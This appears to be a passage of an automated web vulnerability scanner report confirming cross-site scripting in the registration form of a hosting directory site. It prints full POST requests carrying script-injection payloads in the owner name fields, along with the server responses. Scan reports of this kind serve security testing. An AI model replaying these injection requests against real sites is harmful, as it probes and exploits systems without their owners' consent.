</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST '"--></style></script><script>alert(0x001CE3)</script>
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 579
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CE3)%3c%2fscript%3e&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:31 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE35607307E8CE23B2E90A91C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE356073592BD37523D41FEA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE3560732C27DA94B3C3B1B8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073340EA7B2BC8A22B8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE35607341C8730B9C86CA8B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE356073830D23986393E080C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE356073BA5E0588C57F7A39C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE356073F7E91C57F9D527D06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE35607381867230C614D80BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE3560733AA9ACBA7051BF106F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE3560738F008AC94083CF61C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE35607385BE4CD0AF744F08C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE35607302C95BA9792B54A5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073C5DEC01153508375C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE3560734D064D4D53154948C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE35607344A3C63D75A7293FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE356073FDBB6FA368FBDE566F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE356073549D8064E275C3C96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE356073771C0C2A87E4991C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST '"--></style></script><script>alert(0x001CE4)</script>
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 579
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CE4)%3c%2fscript%3e&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:34 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE3560736229B88A7A2FC0F3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE356073FD8C262E2A0492206F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE356073856869A1D615380CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE3560731F08383680609ECDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE35607366CAF9AA8649A9D96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE356073B2CFF49E59CD9E75C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE3560737BD6F32DD7D69FADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE35607340E83C4BC2ABD50C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE356073ED81542F06DC87DDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE3560734F973DD2713692A16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE3560737E8C2E8AA887A5EFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE35607366B214DAB8E00CC8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE3560731F45E6D60FADC52FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073D24BC5C5DAC4803CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE356073CCC306D8F07BB48CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE356073EA4F1F00DF233992C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE3560735A8D6214527DC28A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE356073AF9D507C11820F5B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE3560733CE6AFA9417F0F306F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
